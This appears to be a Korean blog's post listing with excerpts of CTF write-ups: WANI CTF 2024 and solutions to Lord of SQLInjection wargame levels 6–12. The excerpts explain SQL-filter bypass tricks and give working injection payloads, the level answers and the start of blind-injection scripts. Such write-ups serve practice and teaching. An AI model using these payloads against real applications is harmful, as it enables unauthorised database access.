전체 글 (77) 썸네일형 리스트형 WANI CTF - 2024 일본 오사카 대학 CTF 동아리 Wani Hackase가 주관하는 WANI CTF에 참가하였다. MISC / Web / System / Forensics / Crypto / Reversing / Pwnable 로 구성되어 있으며 Web 위주의 문제를 해결하였다.POWclient localStorage에서 "pow_progress"가 증가하여 표시가 됨 해당 값을 CryptoJS.SHA256을 이용하여 해시를 10번 진행하고 0xFFFFFF00이랑 비트 연산을 하여 값을 비교 또한 array []로 저장하여 JSON.stringify를 사용하여 json타입으로 변환 후 /api/pow로 보내게 된다. 따라서 해당 값을 찾아 array로 만든 후 데이터를 전송하면 된다. 여기서 값을 하나 씩 보내면 너무 .. LOS - darknight / level 12 문제풀이 과정 if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); pw 에 싱글쿼터를 / no에 싱글쿼터와 substr ascii = 을 필터링 함을 알 수있다substr과 ascii는 mid / bin(ord())로 우회한다 lpad를 통해 8자리로 고정을 시킨 후 비트 마스킹을 진행 mid(lpad(bin(ord(mid(pw,1,1))), 8,0) ,1,1) = "1" 정답더보기?pw=0b70ea1f코드import reque.. LOS - golem / level 11 문제풀이 방법 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); pw에 or / and / substr( / = 을 필터링 중이다or => ||and => &26&26substr( => right(left(pw,1),1) or mid(pw,1,1)= => like문으로 우회한다 정답더보기?pw=77d6290b 코드이번에는 bit masking이 아닌 일반 brute force로 작성된 코드이다.import requestsurl = "input your url"cookie = {input your cookie}user.. LOS - skeleton / level 10 문제풀이 과정if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 필터링이 db공격 구문 외에는 존재하지 않음 따라서 뒤에 오는 and 1=0만 주석처리 해주면 된다 정답더보기?pw=%27%20or%20id=%27admin%27%23 LOS - vampire / level 9 문제풀이 과정 $_GET[id] = strtolower($_GET[id]); $_GET[id] = str_replace("admin","",$_GET[id]); admin이라는 단어를 "" 로 필터링 하고 있다즉, admin사이에 admin을 넣으면 우회 할 수 있다.정답더보기?id=adadminmin LOS - troll / level 8 문제풀이 과정 if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match("/admin/", $_GET[id])) exit("HeHe"); id에 admin을 필터링 하고 있으나 preg_match조건에서 i 가 들어가지 않았으므로 대소문자를 구분 함Mysql에서는 column에 조건을 붙이지 않으면 대소문자 구분을 하지 않음정답더보기?id=Admin LOS - orge / level 7 문제풀이 과정if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); pw의 값에 or / and를 필터링 하는 것을 볼 수 있다 또한 admin의 진짜 pw값을 넣으면 문제가 풀린다 이를 통해 blind sql injection을 수행한다정답더보기?pw=7b751aec활용 코드python requests를 이용하여 코드를 작성하여 문제를 해결하였다 import requestsurl = "input your url" #cookie = {input your cookie} #user = 'input find user' # def change_bi.. LOS - darkelf / level 6 문제풀이 과정if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); pw의 값이 or / and 를 필터링 하는 것으로 보인다or 을 ||로 우회 더보기?pw=%27%20||%20id=%27admin%27%23 이전 1 ··· 5 6 7 8 9 10 다음